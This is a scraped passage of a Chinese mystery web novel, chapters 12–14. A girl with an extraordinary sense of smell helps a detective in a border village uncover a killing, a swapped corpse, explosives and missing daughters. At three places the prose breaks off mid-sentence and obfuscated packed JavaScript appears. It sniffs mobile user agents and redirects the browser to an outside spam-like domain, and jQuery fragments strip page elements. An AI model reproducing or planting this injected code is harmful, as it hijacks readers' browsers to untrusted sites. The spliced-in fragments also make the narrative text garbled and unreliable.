阮枫分析道:“郦榕虽然还没来认尸,但她形容的闵淳离家时穿的衣服与发现的尸体一致,虽说感觉掉了些肉……他是一周前离家后被害,然后被凶手放进热水袋里的?” “不会,”桑白玉道,“尸体是有腐臭味的,你们没觉得这肉汤味儿是酸的吗?我刚刚偷偷看了一眼,闵淳的体型偏胖,但袋子里的肉不多,而且若是早就移来,每日被高温暴晒,这家人早该闻到味道,我想他是刚被移过来的,移动前已经腐败,移动的过程还掉了几块肉,或许能在芒寨里找到。” 吴元青神色复杂,“这也是闻到的?” 桑白玉批评道:“叔叔,办案要讲证据的,怎么能只靠闻呢?我这都是分析出来的。” 吴元青:“&%¥#@#!” 骂得很脏。 方小满板起脸,“你偷偷跑去看尸体了?!” 吴元青:“!” 这方小满还有点儿做姐姐的样子,对,就该这样批评她! 方小满说:“你看的时候怎么不叫我??” 吴元青:“……” 他把平乡街的店都关了算了! 桑白玉走到温山旁边。 温山还未发育,比桑白玉矮很多。 两人只差三岁,一个看着像小大人,一个看着像幼儿。 她指着温山说道:“是他放进去的。” 12. 第 12 章 温山还在念小学。 不是每个芒寨的孩子都有机会去读书,更多的孩子只能留在家里帮工,夏天就泡在河里玩儿。 河里、水库每年都会淹死人,可再危险也没人会管他们,成人都没这个意识。 来通的妻子读过几年书,也要求来通送孩子们去读书。 吴元青昨日来过芒寨后,就特别调查过,来通家在芒寨很出名,来通是出了名的老好人。 他老来得子,很宠温山,但温山并没有被宠坏,在芒寨里的风评还不错。 纳塔这两日已经被搞麻了。 从前他在警署工作:喝茶、看报、慢悠悠地出警。 现在他在警署工作:看人头、地窖捞腐尸、看温水煮尸。 工作的刺激性大幅度提高,他弱小的心脏不能很好地接受。 纳塔刚吐完,今天早上他喝的肉汤。 他虚弱道:“探长,他才十岁。” 吴元青抬眼,“十岁怎么了?” “十岁的小孩儿做不来这些事,不可能是凶手。别说是十岁,就算再大一点,十二三岁……” 纳塔和吴元青一起看向桑白玉。 桑白玉站在其他探员不愿接近的热水袋边,偷偷掀开一角往里看。 纳塔道:“还是很有可能犯案的,探长,你快问!” 吴元青:“……” 温山很瘦,皮肤偏黑,毛发比较浓密。 他躲在来通身后,泪水在眼眶打转。 吴元青多年没和孩子接触,板着脸时多少有些严肃,他努力调整好表情,让自己显得亲切些,“孩子,你告诉叔叔,热水袋里的人你认识吗?” 温山拼命摇头。 来通道:“他才十岁,不可能杀人,他和闵淳没来往啊!” 吴元青严肃地纠正来通,“你认为十三岁的女孩能做到什么地步?” 方小满在一旁翻译。 来通一脸茫然。 吴元青指着桑白玉说道:“瞧,就到这一步。” 桑白玉,十三岁女孩做坏事的顶峰。 方小满:“……” 看来在吴探长眼里,十三岁的小女孩已经没有好人了。 吴元青道:“你如果不配合,叔叔只能把你带回警署了。警署的情况你可能不知道,夏天闷热,没水喝没饭吃,连床都没有,只能睡在水泥地上,比你家这竹楼可硬得多。” 纳塔听着都想落泪,他平时不就在这种环境下工作吗? 嫌疑人犯案才会去,他要天天待着!! 温山还是哭。 桑白玉等了好一会儿,吴元青都没搞定温山。 她慢吞吞走过来,安慰道:“叔叔你别急,会有办法让他开口的。” 说是安慰,但眼里写的却是——怎么还没搞定哦? 吴元青:“……” 他有被十三岁小孩鄙视到。 吴元青后退一步,“你来?” 桑白玉还真不躲,“好啊!” 吴元青就知道她得往前冲。 就得杀杀她的锐气,让她知道大人们的世界很复杂!工作很难! 桑白玉指着方小满对温山说:“这是方小满,我姐,平乡街她罩着,不说实话她揍你。” 吴元青:“……” 他一把揪住桑白玉的领子往后拉,“没有的事,别当真,赶紧把孩子带去警署问话!” 温山的哭声比刚才更大:“哇!” 吴元青尴尬得想遁走。 哪有警察用这种方式问话的?万一被人家误会是刑讯逼供,所有工作都白做。 温山说:“别打我,我都是、都是听别人的。” 吴元青看向温山。 桑白玉问:“谁让你做的?” 温山撇着嘴,“是……闵俊,他给了我、给了我一袋椰子糖,让我帮帮姐姐。” * 去闵家的路上,吴元青不得不提醒桑白玉,“警察不能威逼利诱嫌疑人,不能刑讯逼供,像你刚刚说的话,不能再说了。” 桑白玉诧异地看着吴元青。 吴元青正气凛然:“这些都是有教训的,做一行,就要守一行的规矩,这是做人的基本!” 桑白玉:“可我……” “你不用惊讶,你还小,要学的事情还有很多!” 桑白玉道:“可我不是警察。” 方小满刚往嘴里放了块椰子糖,“不是警察,就和刑讯逼供无关,充其量是热心少女仗义出手。” 吴元青:“……” 天啊,他为什么要招惹孩子! 阮枫忍不住笑起来。 纳塔道:“真是不敢相信,温山竟然因为一袋椰子糖,就答应把尸体藏在自己家,不怕给家人添麻烦吗?如果他不说实话,我们可能就把来通当作凶手带走了。” “孩子可能根本没有杀人凶手这个意识。” 纳塔指着桑白玉说道:“真没有?” 阮枫:“……,小玉不是一般的孩子。” 纳塔说:“她就适合做警探。” 吴元青很忧心。 桑白玉做警探还好,说不定真是一颗新星,但如果走上歪路……那就是宁蓝国的克星了。 闵家,郦榕正在准备晚饭。 芒寨家里没孩子的一般只吃两顿,孩子要早起上学,三顿就不能合成两顿,闵淳总怪他们导致家里的伙食开销太大。 晚餐只有米饭。 米饭配上鱼虾酱、辣椒等佐料,丢在锅里搅一搅,一顿饭就成了。 警探再次出现,郦榕脸色惨白,“你们……怎么又来了。” 吴元青道:“找到疑似你丈夫的尸体,你一直没去认尸,我们只能来见你。” 郦榕两手在衣服上蹭了蹭,惶恐不安地看着四周,“我就是、我就是有些害怕,我……我想等孩子们吃完饭再去,我就是……” “不用了,”吴元青道,“除了认尸,还有一件事。” 郦榕茫然地看着吴元青。 吴元青道:“两个孩子呢?” 郦榕怔了一秒,急切地摇头,“警长,不是小文,小文对她爸特别好,小文是好孩子,她……” 方小满挑起眉。 他们还没说是来找闵文的,郦榕便不打自招了? 郦榕说着说着便流泪,哭得歇斯底里,“好吧,我承认,都是我做的,你们把我带走,别去吵小文,小文还要做作业,她学习特别好,真的,她说不定能考上大学,我想让她去长峡上学……” 吴元青把郦榕扶起来,淡淡道:“你的话的确很让人感动。” 郦榕抬起头,她双眼红肿,楚楚可怜。 吴元青说:“可我要找的是……闵俊。” 郦榕愣住。 闵俊正在河里和其他寨子里的小朋友一起玩儿。 方小满亲自出马将他逮回来,据说方小满所到之地寸草不生,所有小朋友都发疯似的跑回家,家长们对于他们突然懂事的行为十分欣慰。 闵俊顶着湿漉漉的头发看着吴元青。 郦榕似乎很怕吴元青为难闵俊,急着自首,“警长,我说的都是真话,闵淳是我杀的,我实在无法继续忍受他,和我的孩子无关!” 宁蓝国很穷,老百姓更穷。 像郦榕这种住在边境的寨子里的,更是一点儿自主权都没有。 她十三岁时就被父亲丢给闵淳,当时闵淳是华人,华国那会儿不许做生意,做生意的都是投机倒把要被抓起来的,但龙星岗和长峡之间还有黑市存在。 闵淳就靠在黑市倒卖赚了点儿小钱,郦榕的父亲便用女儿在闵淳这里换钱。 十三岁,和桑白玉现在一样大而已,但不是每个人都是桑白玉。 她什么都不懂,就成为人家的妻子,甚至因为营养跟不上,那会儿她根本没来过例假。 后来华国渐渐开放,开始正常贸易往来,闵淳就赚不到钱了。 在黑市上不赚钱,他还不想种家里的地。 鹰嘴豆丰收时能赚一点儿,闵淳就是不想去干活儿,满脑子就是打牌、斗鸡。 郦榕道:“那天我们吵架了,我让他去赚钱,他很生气,说我看不起他,还来打我。我也不知道怎么回事,那一刻就想结束一切,等回过神来,他人已经倒下。” 吴元青问:“是你动的手?不是她?” 闵文抱着弟弟坐在后面。 刚才吴元青问起孩子,郦榕第一反应就是他们要找闵文。 “是我,”郦榕坚定道,“我有些恍惚,我太生气了。” 桑白玉问:“阿姨,你是怎么处理尸体的?” 郦榕:“……” “有顾虑?” “我……”郦榕偷偷看了眼孩子们,“我把他扔进地窖里了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太侮辱人了! 他就不信了,他还比不过一个人渣?! 纳塔雄赳赳气昂昂地去找尸块。 阮枫:“……” 这都能燃起来? 警探们分散开。 芒寨其他人此刻都站在自家前看热闹,芒寨第一次来这么多警探。 方小满跟在桑白玉身后,和她商量道:“以后你不可以跑过来看杀人案哦。” 吴元青:“总算还有点儿做姐姐的样子。” 方小满:“你叫我一起,我骑车带你来。” 吴元青:“……” 桑白玉神色凝重,似乎一直在沉思,已经安静许久。 听到方小满的话,她缓缓抬头,问:“人真的是郦榕杀的吗?” “是啊,郦榕无法忍受丈夫,吵架后激情杀人,闵俊也说是郦榕动的手,他们三人挺可怜的,也很为彼此考虑。” 桑白玉道:“为彼此考虑,但是……” 桑白玉看向方小满,“但写匿名信举报,称地窖里有尸体。” 方小满:“……” 她说:“其实我一直想说,会不会是你闻错了?只凭味道,没办法肯定匿名信是闵文写的。” “但她一定知道地窖里有尸体,还认为尸体应该是闵淳,吴叔叔听到那句话了。” 吴元青道:“这一点确实很奇怪,方小满,你应该多听听你妹妹的意见。” 方小满瘪嘴,“我知道我妹妹聪明,不用吴探长告诉我。” 吴元青:“你对我好像有很大的敌意。” 方小满振振有词,“你天天盯着我家,我当然有意见了。” 能接触玉石店的人,对吴元青来说是求之不得的事,他趁机套话,“我是警署正常的工作安排,据我所知,这几日玉石店都没有开门营业,为什么?” “我家有钱啊,不行吗?”方小满格外嘚瑟,“我们想营业就营业,想休息就休息,有钱就是任性,警探叔叔你没体会过这样的生活吗?” 吴元青:“……” 是的,没有,他只有死工资! 13. 第 13 章 警探们陆陆续续找到高度疑似人体组织,分布在闵俊至来通家沿途。 几个小孩儿在夜间将尸体从地窖里拉出来,塞进热水袋里,再用胶带乱七八糟地贴好。 他们没有尸体会发臭的概念,即便运送时尸臭已经很明显,他们也不知这是尸体腐烂导致的。 几个孩子的口供一致,有两个孩子被找到时还在吃椰子糖。 闵俊还交代,瘾君子的尸体是他在一条小路上发现的。 他就是看到尸体后,才想起来换尸。 地窖里出现陌生人的尸体,就和妈妈没关系了。 但如果爸爸的尸体被发现,妈妈肯定会被怀疑。 晚上八点钟,拿着手电筒的警探们汇合。 芒寨没电,整个寨子黑漆漆的,只有手电筒在亮。 吴元青道:“芒寨其他人家的情况都还算正常,与闵淳没有太大的冲突,最多是拌嘴,也没有金钱方面的往来。唯一不太正常的是桑博,桑博独自生活,三十五岁,未婚。我们前去走访时,对我们十分抗拒,不配合。” 桑白玉一直跟着吴元青,也见到桑博了。 桑博肤色偏黑,但身材健硕,五官还算端正。他家里条件不好,父母生病去世,他把全部财产都留给父母治病,一直没结婚。 他家里的味道,似乎与哪里的味道重合了。 桑白玉想不起来。 吴元青分配任务,“阮枫,你办事稳妥,让闵俊带路,带人去找到第一具尸体的小路。纳塔,你脑子笨,留下来继续找线索,今晚值班。” 阮枫:“是!” 纳塔:“……” 差距也太大了吧。 吴元青最后看向桑白玉和方小满,“至于你们两个,别想跟着阮枫,你们如果真的不想回家,那就只能留下!除了这条路,你们别无选择!” 桑白玉举手,“我留下!” 吴元青:“我说了别想去找阮枫……恩?留下?” 桑白玉两眼发光,“叔叔!我留下就好!” 吴元青:“……” 他好像达到目的,又好像失策了? 阮枫走过来问道:“探长,一会儿你去哪?” 吴元青:“……” 他本来想回警署一趟,现在……有点儿想留下了?? * 桑白玉留在芒寨继续逛,她要找到那股熟悉的味道。 方小满只要不学习,做什么都开心,她兴冲冲道:“我们去看天坑?听说下面有暗河,如果不高,说不定可以下去看看。” 两人朝天坑走去。 吴元青默默跟在她们身后。 方小满不太乐意,“探长叔叔,你没有工作吗?为什么一直跟着我们?” 吴元青:“……” 说起来可能没人信,他觉得13岁的小女孩比较能找到线索。 桑白玉说:“算啦,吴叔叔对我挺好的。” 吴元青感动得热泪盈眶,“还是小玉……” 桑白玉四十五度角忧愁地仰望天空,“虽然他总是不信任我,会凶我,还会趁机套话,但他对我就是很好很好的。” 吴元青:“……” 泪水倒灌了。 三人来到天坑。 幸好吴元青跟来了,他的手电是特制的,比普通的手电筒亮得多。 桑白玉第一次看到天坑,表面看,似乎只是个普通的坑,没什么特别的。 桑白玉站在洞口往下看。 吴元青看得心惊胆战,一把将她捞回来。 “你们两个都离天坑远一点儿,天黑了,看不清,脚滑掉下去怎么办?” 方小满道:“探长叔叔,你怎么比我大姐还啰唆?” 吴元青一板一眼道:“这是对你们负责。” 方小满:“……太正经了,不好玩。” 两人说话时,桑白玉已经在坑边蹲下。 吴元青一个没注意,她就偷偷往下滑。等吴元青低头看去,心脏险些没炸开,“桑白玉!!” 桑白玉盯着深不见底的天坑,低声道:“别说话。” 九点钟的芒寨悄无声息。 山中枝条沙沙作响,桑白玉捡起一块石头往下丢,很久都没听到回声。 桑白玉说:“这里的味道很复杂。” 吴元青道:“我问过了,芒寨的人把天坑当作垃圾场,什么生活垃圾都往里扔。再不就是扔河里,这边没人来专门收垃圾。” 方小满也往下看了一眼,抱怨道:“难怪味道很难闻,这天坑挺少见的,还容易掉下去,他们应该围起来,不让人靠近。既能保护天坑,又能避免人们跌落受伤。” 吴元青看向方小满。 从前只听纳塔的描述,玉石店四人简直是十恶不赦。 整条平乡街,上到杀人放火的罪人,下到小偷小摸,都要绕着玉石店走。 但今日接触方小满,她似乎和普通的女孩没太大区别,只是有些……嚣张。 不,是十分嚣张。 桑白玉说:“炸药就在这里。” 吴元青:“?” 前一秒还因成功破一半案而开心的吴元青紧张起来,“在哪儿?” 桑白玉抬头,“叔叔,你不是不相信我能闻到吗?” 吴元青:“……” 这孩子可真不招人喜欢。 桑白玉道:“炸药味道和我曾在警探身上闻到的一致,除此之外,应该还有其他人接触过炸药。” “还有人接触过炸药?”吴元青对炸药格外敏感,“你再闻闻,什么人要把炸药放到天坑里,要炸毁什么?按照你之前说的,可能和闵文有关?但郦榕已经承认杀害闵淳,闵淳的案子和她无关,她为何接触炸药,她一个学生,家境贫困,是从哪里搞到炸药的?” 整个案子都透着违和感。 如果不是桑白玉的味觉天赋异禀,他们现在恐怕只能抱着一个人头留在警署等法医,不会有重大进展。 吴元青意识到,芒寨一定还藏着他们未查到的事。 吴元青说:“这两天我们在芒寨走访,他们对我们有所提防,回警署后我再查查。” “不只是炸药,”桑白玉盯着天坑,“还有人,很多人。” 天坑底部是无尽的黑暗。 吴元青探头看着天坑,好像有一股强大的暗黑力量在吸引他,他心跳加速,一个晃神,险些坠进去。 桑白玉及时拉住他。 深渊在看着他。 桑白玉道:“等天亮了,再找专业人士下去看看吧。” 吴元青回过神,“明天我下去看。” 桑白玉打量吴元青的体格,“你……吴叔叔,我很相信你,但你……” 吴元青:“好了不许说了。” 目测无法确定天坑的高度,他们需要专业人士下去查看。 据说天坑下有暗河,说明下部空间不小,若非专业人士下去,可能会有危险。 方小满昂首挺胸站在旁边。 桑白玉说:“但龙星岗可能没有专业人士。” 方小满挤眉弄眼。 吴元青说:“我联系了长峡市的法医,人家答应明天过来帮我验尸,法医都要找人,下这深坑……难。” 方小满:“……” 她忍无可忍,“你们看不到我吗?!” 桑白玉和吴元青茫然地看过去。 方小满:“我啊!我能下!这小破坑对我方小满大侠来说简简单单!” 吴元青:“……你姐姐还有这本事?” 桑白玉:“不知道啊。” 她姐姐们不是纯坏人吗? 桑白玉明白了。 原来她们是很有本事的坏人! * 芒寨人家不多,但面积却不小,桑白玉几人转了大半个村子,用了一个多小时。 他们回到芒寨入口,桑白玉无意间瞥到刚到芒寨时见过的飞头神。 供奉飞头神的人没有点烛火,明明夜色已深,它的脸却似乎比白日更加清晰。 闵俊声称他找到的是完整的尸体,瘾君子的头是被谁割下来的? 有人发现地窖里的尸体,溜进地窖,割了瘾君子的头带走?再藏到烧烤摊老板的烤串里? 桑白玉拉着方小满往飞头神的方向走,“我们再去看看。” “你真不觉得这玩意恐怖?”白天就算了,晚上看到这么一张扭曲的脸,方小满真怕会做噩梦。 桑白玉安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834918|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰道:“你如果害怕,就多看看吴叔叔。” 吴元青:“对对,我在,多看看我……什么叫多看看我?!” 桑白玉说:“你可以保护我们嘛!” 吴元青:“……” 他认为桑白玉不是这个意思。 吴元青看到飞头神后,也开始皱眉,“这是什么?” 飞头神有着说不出来的古怪,吴元青看到就心里不适。 他说不清是哪里不舒服,只知道自己强烈排斥它。 桑白玉离飞头神最近,她的距离让方小满和吴元青看得直皱眉。 她蹲下,慢慢靠近,身体保持不动,脸越凑越近。 方小满看得五官扭曲,很想直接把她提起来。 在吴元青的角度看,桑白玉好像快和飞头神合二为一了。 深夜寂静,吴元青和方小满默默凑到一起。 两人互相嫌弃,“叔,你是警探,胆子太小了吧?” 吴元青:“我是普通人,倒是你,平时吆五喝六,现在害怕了?” 虽然嫌弃,但两人的身体非常诚实,距离越来越近。 不知过去多久,桑白玉忽然说:“这里的味道,我曾经在桑博家闻过。” “桑博?确定是桑博?” 桑白玉再继续点名,就要把芒寨的老好人都点一遍了。 桑白玉说:“我现在还想不到原因,但肯定是他。” 比起见飞头神,方小满更愿意见人,她雄赳赳气昂昂,撸起袖子准备大干一场。 桑白玉回头看向二人:“……,你们凑一起干嘛?” 她好像被抛弃了? 桑白玉三人决定再去找桑博。 他们走后,附近的草堆发出声响。 先是轮子摩擦地面的声音,接着是拖拽声。 混乱的杂草动得愈发厉害,一双眼睛先从草堆里露出,接着是半个脑袋。 这张脸格外恐怖,脸上好像只有棕红色的结痂,一只眼球是白色的,在黑夜里格外显眼。 脸慢慢往前挪动,一直到飞头神前才停下。 脸看向桑白玉几人离开的方向,接着将飞头神推倒,收到身下。 与此同时,桑白玉低声道:“来了。” 方小满紧紧挽着桑白玉的胳膊,“凶手?” “不知道,”桑白玉说,“但我知道桑博家的味道是从哪里来的了,不是飞头神,是那人身上的,那人去过桑博家。” “就算去过,也不奇怪吧?” 桑白玉道:“吴叔叔应该能想到。” 吴元青思索片刻,说:“你认为瘾君子的死和飞头神有关?现在还不知道是谁割下瘾君子的头,但是对方既然把头放在警署前的烧烤摊,目的只有一个。” 方小满:“啥?” 吴元青看了方小满一眼。 在此之前,他心目中的惠海铭四人——心机深沉的犯罪分子。 看到方小满——犯罪分子。 桑白玉说:“和匿名信的用途是一样的,想让警方来调查。” 吴元青询问闵文是否邮寄过匿名信,她否认了。 郦榕在旁边哭得难过,他还得把郦榕带回警署,又没有证据,便没继续问。 “但闵文不知道地窖的尸体已经被换过了。” “所以还有其他人和案子有关,我们得去见桑博。” 桑博至今未婚,独自生活。 他从前在橡胶农场工作,人很勤快,父母病逝时虽用了很多钱,现在也慢慢攒下些财产。 有好几户人家都想把家里的女儿嫁过来,有的看中桑博勤快,刚满14的女儿都想丢过来,被桑博拒绝。 桑白玉几人还没进桑博家,就见来通垂头丧气地走了出来。 看见吴元青,来通明显慌乱,他支支吾吾说了几句宁蓝国的话,快步离开。 方小满翻译道:“他对你很不满,想揍你。” 吴元青:“……” 他忍方小满很久了! 看来通害怕的样子,像是要揍他吗?! “真的,”方小满无辜道,“他说‘该死,又来了’,这不就是想揍你?” 吴元青:“……” 顶级翻译家。 14. 第 14 章 桑博将三人请进屋子。 芒寨的房子内部很简陋,靠墙是一张床,另一边是桌子,有的人家会直接坐在地上,也有自己做木椅子的。 桑博勤快,家具都是他亲手做的,但没有电器。 对于三人的到来,桑博没表示欢迎,但也不抵触。 吴元青直奔主题:“芒寨最近来了个乞丐,你知道吗?” 桑白玉偷偷观察桑博。 他身材健壮,穿着衣服也能看到明显的肌肉轮廓,而且不是普通的薄肌。 他的身材能做很多事情,譬如一人搬运尸体。 桑博说:“我不关心别人的事。” “就在入口,进出都能看到,从没注意过?” 桑博的回答很含糊,“可能见过,也可能没有,记不清。” “是男是女,知道吗?” 桑博道:“不知道。” “如果见过,不可能不知道。” 桑博反驳,“你就算见了,也认不出来。” 吴元青轻轻挑眉。 桑博怔住两秒,起身粗鲁道:“反正我什么都不知道,我要睡了,你们不想走就待着,我不管。” 他转身往床上走。 桑博会说华国语言、身强力壮,如果有其他心思想挑衅龙星岗警署,好像是有可能。 时间太晚,吴元青强行把方小满和桑白玉送到玉石店,迎接三人的是惠海铭的怒吼。 桑白玉和方小满老实巴交地挨训,吴元青站在一旁观察惠海铭。 惠海铭和他的年纪差不多,但保养得很好,看起来比吴元青年轻不少。 她似乎只是普通的妇女,在龙星岗有些显眼,但如果放在华国,就很正常了。 可吴元青总有一种违和感。 传闻中的恶霸,应该是个有领导有下属的组织,怎么变成家庭了? 其中一定有古怪。 翌日,老师举行了一次考试。 平乡中学的考试实在不算正规,只要视力好,就能拿到一个不错的分数。 张敏敏甚至在和旁边的人窃窃私语,也没老师管。 桑白玉一直没动笔,她余光看着认真写试卷的闵文。 母亲被捕,现在还能淡定地参加考试。 桑白玉很感慨,才13岁而已,真可怕。 张敏敏留意到桑白玉一直没答题。 她是学渣,会写字就不错了,她对自己没什么指望。 没想到桑白玉也什么都不会,张敏敏有一种她和桑白玉果然是同一类人的感觉,这种感觉让她很快乐。 张敏敏忍不住想,如果她妈知道桑白玉和她一样大脑空空,不知会有什么反应。 又过去十分钟,桑白玉终于拿起笔。 龙星岗市卖的文具都很难用,只有铅笔,桑白玉不习惯。 她很想回华国去看看,看看九十年代的华国。 桑白玉开始认真答题。 这里没有她想气的人,卷子该怎么做就怎么做。 粗略看下来,平乡中学的考试内容十分简单,桑白玉小学时就可以答出这些题目。 十分钟后,桑白玉举起手。 张敏敏刚睡了一小觉,十分敬佩桑白玉。 不愧是她看中的女人,居然敢交白卷。 张敏敏拿着卷子跟着走上去。 老师收下桑白玉的卷子,没说什么,接着又收了张敏敏的卷子,然后狠狠瞪了她一眼。 张敏敏:“?” 同样是白卷,老师还要差别对待哦,这也看脸哦! 张敏敏追着桑白玉走出去,“小玉你去哪?我们一起。” 桑白玉不太喜欢和张敏敏一起玩儿,她加快脚步。 张敏敏很委屈,跑得比桑白玉还快,边跑边说:“我和你说话呢,你怎么总是不理我,你昨天也没带我一起去什么芒寨。” 桑白玉快速说道:“我不想和你一起。” “为什么!” 桑白玉道:“你欺负同学。” 虽然她现在怀疑闵文与凶杀案有关,但张敏敏欺负闵文时,她可不知道这些,就是纯欺负。 抵制校园暴力,从桑白玉做起! 张敏敏十分震惊,“我吗?我欺负同学?!” 她是不太友善,但这话不该桑白玉来说啊,桑白玉都住在玉石店了! 那可是玉石店! 她们不该联手打败校霸,继而称霸平乡中学吗?! 张敏敏说:“我为了陪你,都提前交卷了!” 桑白玉:“?” 张敏敏痛心疾首,“我可是直接交了白卷的,以前我都会写满,这样我妈能少揍我几下。我就是怕你被老师训时太孤单!” 桑白玉奇怪道:“我又没交白卷,老师为什么训我。” 张敏敏:“……,啊?你写了几个题?还是蒙的?错题多的话,老师也会点名。” 桑白玉觉得匪夷所思:“这种题也会出错?” 张敏敏:“!!” 桑白玉的意思是,她用十分钟做完试卷,还没有错题吗?! 等等,她的白卷算什么?! 张敏敏坐到地上哀号。 桑白玉无动于衷。 张敏敏:“……” 桑小玉怕不是蛇蝎美人,每次她哀号,她那狠心的妈都会降低打她的速度。 桑小玉居然毫无反应! 张敏敏只好擦干眼泪爬起来,假装无事发生,“小玉啊,你到底要去哪?” 孩子看起来太可怜,桑白玉勉强回答:“芒寨。” “芒寨?芒寨有啥好玩的,芒寨很危险,你不要总去。” 桑白玉停了下来,“你知道芒寨?” 张敏敏一看桑白玉对芒寨感兴趣,立刻绞尽脑汁回忆道:“我听我妈提过,这地方应该不太好。” 桑白玉认真看着她。 张敏敏一时想不起来,又想在桑白玉面前“展示”才华,急得原地转圈。 “是什么来着,是不太好的事,到底是什么事……好像和违禁品有关?” 桑白玉问:“哪种违禁品?” “想到了!和烟膏有关!” 桑白玉想到瘾君子。 尸体能被闵俊发现,离芒寨应该不会太远。 “再说说,芒寨卖这东西?” “不是卖,应该是陪?我也不太懂哦,我妈和我爸说的,我刚听一句,她就把我赶走了。不过我是谁啊,她主动讲我还不想听呢,她不让我听,那我就非得听!” 这一点桑白玉感同身受,“有道理。” 张敏敏被桑白玉赞同,很开心,“是吧是吧,咱们孩子都一样。” 还是不一样的,桑白玉的父母对她不太好,但张母对张敏敏很好。 “我记得和女孩子有关系,好像烟膏会导致人很亢奋?具体的我不太清楚,芒寨那些人就把家里的女儿带去,不过亢奋和女孩有什么关系呢?我搞不明白。” * 今天考试,下午不上课,桑白玉拉上方小满直奔警署。 方小满今天不想去警署,她惦记着考完试去长峡市玩,苏蓝移给了她好多钱,让她考试结束后带桑白玉去长峡买东西。 这可是她第一次不用凭考试成绩就能去长峡花钱! 方小满站在警署门口耍赖,“咱们去长峡嘛,今天过去,晚上住在招待所,明天还能好好逛逛。长峡市新开了一个百货大楼,听说有很多港货,你知道港货吗?香江运过去的,香江可比龙星岗发达多了!” 方小满虽然在宁蓝国长大,但她从小就说华国语言。 惠海铭每天都会给她们讲华国的故事,她很向往,一直盼着能回华国。 每次提到回华国,惠海铭总是面露难色,苏蓝移也异常沉默。 她知道他们留在龙星岗是有目的的,但是惠海铭不告诉她原因。 有的时候方小满怀疑宁红英也知道原因,只有她不知道。 桑白玉摇头说:“凶手还没抓到,我想知道凶手是谁。” 方小满撇嘴敷衍,“不是郦榕?她都招了,说不定瘾君子也是她杀的,或者她和她那个儿子一起撒谎骗我们。” 桑白玉默默地看着她。 方小满:“……” 行吧,谁让她这张脸讨喜呢。 阮枫和纳塔都不在,吴元青刚回来。 他看见桑白玉,把她拽进办公室,神色严肃,“事情很糟糕,阮枫确认瘾君子的身份了,叫提拉德,最近半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834919|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年他一直躲在宾馆偷偷使用烟膏,一个多星期前离开后再也没回去,他是下线,上线有可能是池家人。” 桑白玉对池家没什么概念。 吴元青说:“宁蓝国五大家族之一,这边国情和咱们国家不同,他们是拥有私人武装的,也做这种下三烂的生意。我查过了,龙星岗市有一半的娱乐场所都是池家的,龙星岗与长峡接壤,池家很重视龙星岗……唉,万物之源,现在竟然还有销路。” 桑白玉道:“吴叔叔你也抽烟啊。” 吴元青:“……” 他强行辩解,“我是太累,必须抽根烟解解乏。烟和他们卖的烟膏不一样。” 桑白玉好奇道:“当初抽第一根烟的时候,也是太累了想解乏吗?你怎么知道抽烟就能解乏呢?真的不是上着学就被带坏了?” 吴元青:“……” 以后他不和桑白玉说话了。 方小满插嘴问道:“今天怎么不防着我们了,交代得很痛快啊。” 吴元青:“……” 完了,他已经到看见桑白玉,就忍不住告诉她案情的地步,完全忘记她只是个13岁的小孩儿。 吴元青头很大,“我是想让你们小心,我们走访的结论,瘾君子很有可能是被上线灭口的,他的房间被人搜刮过,应该是在找东西。我们就算了,你们两个小屁孩天天跟着我们,他们盯上你们怎么办?和这种人,不能硬碰硬。好了,你们又跑过来干什么?” 桑白玉问:“芒寨那边怎么样了?” 吴元青耸肩,“按照你说的,我让纳塔去找供奉飞头神的乞丐,乞丐一直没出现。桑博依旧不愿意配合,其他人也差不多。” “芒寨的情况应该有在派出所登记吧?” 吴元青苦笑,“你以为这是咱们国家?黑户多着,像是你,身份办得很顺利吧,什么都不查。不过还是找到一些,相当于咱们那边的户籍档案,不太全。” 桑白玉笑眯眯地看着他。 吴元青:“……这也想看?” “你这大叔还挺矫情,”方小满道,“不是刚才叭叭泄密的时候了。” 吴元青:“……” 他取出档案袋,“我给你们提供线索,你们是不是该有回报?” 桑白玉问:“你想要什么?” “说说你大姐和二哥?” 方小满紧张起来。 桑白玉认真道:“我大姐人特别温柔,二哥也很好的,他们从来都不会凶我,都是正经生意人。” 方小满:“?” 是她认识的大姐和二哥吗? 吴元青道:“你这就没意思了。” 桑白玉:“我要去告诉大家你欺负小孩儿!你利用我破案!你……” 吴元青立刻把档案袋塞给她。 桑白玉露出满意的笑容。 方小满:“……” 年纪小还有这好处?她以前怎么没用这招! 档案袋里有芒寨村民的资料,不过只有三分之一。 所有资料都写有两种语言,看着很方便。 桑白玉迅速看了一遍,道:“还真和张敏敏说得一样。” 方小满是和桑白玉一起看的,同样的速度,她只记住几个字。 吴元青好奇道:“有问题吗?” 他也看过,没看出来什么。 桑白玉问:“芒寨有华国那种村长、村支书之类的基层管理者吗?他们应该比较了解情况。” “有,但是他们不服管,一直不配合我们。是什么问题?说说。” 桑白玉凝重道:“几乎每一家都有女儿失踪。” 方小满霍然想起,来通家就有一个失踪的女儿。 